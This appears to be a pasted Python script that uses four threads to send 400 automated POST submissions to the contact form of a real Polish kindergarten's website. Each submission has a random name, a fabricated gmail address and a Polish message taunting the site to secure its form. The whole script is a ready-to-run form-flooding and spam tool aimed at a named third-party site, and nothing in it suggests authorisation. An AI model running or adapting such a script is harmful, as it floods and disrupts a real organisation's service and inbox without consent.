· 7 years ago · Apr 20, 2019, 09:26 PM
1from threading import Thread
2import requests
3import string
4import random
5
6
7class Request(Thread):
8 def __init__(self, url, n):
9 super().__init__()
10 self.url = url
11 self.n = n
12
13 def run(self):
14 for i in range(self.n):
15 name, email, content = self.get_data()
16 data = {
17 'custom_U2424': name,
18 'Email': email,
19 'custom_U2433': content,
20 }
21 r = requests.post(self.url, data=data)
22 self.callback(response=r)
23
24 def callback(self, response):
25 print('Thread: {}, Code: {}'.format(self.getName(), response.status_code))
26
27 def get_data(self):
28 name = self.random_string(string_length=8) + ' ' + self.random_string(string_length=14)
29 email = self.random_string(string_length=8) + '@gmail.com'
30 content = 'Zabezpieczcie sobie kontakt'
31
32 return name, email, content
33
34 @staticmethod
35 def random_string(string_length=10):
36 letters = string.ascii_lowercase
37 rnd = ''.join(random.choice(letters) for i in range(string_length))
38 return rnd[:1].upper() + rnd[1:]
39
40URL = 'http://przedszkole.zspgieraltowice.pl/scripts/form-u2420.php'
41
42thread1 = Request(url=URL, n=100)
43thread1.deamon = True
44thread2 = Request(url=URL, n=100)
45thread2.deamon = True
46thread3 = Request(url=URL, n=100)
47thread3.deamon = True
48thread4 = Request(url=URL, n=100)
49thread4.deamon = True
50
51thread1.start()
52thread2.start()
53thread3.start()
54thread4.start()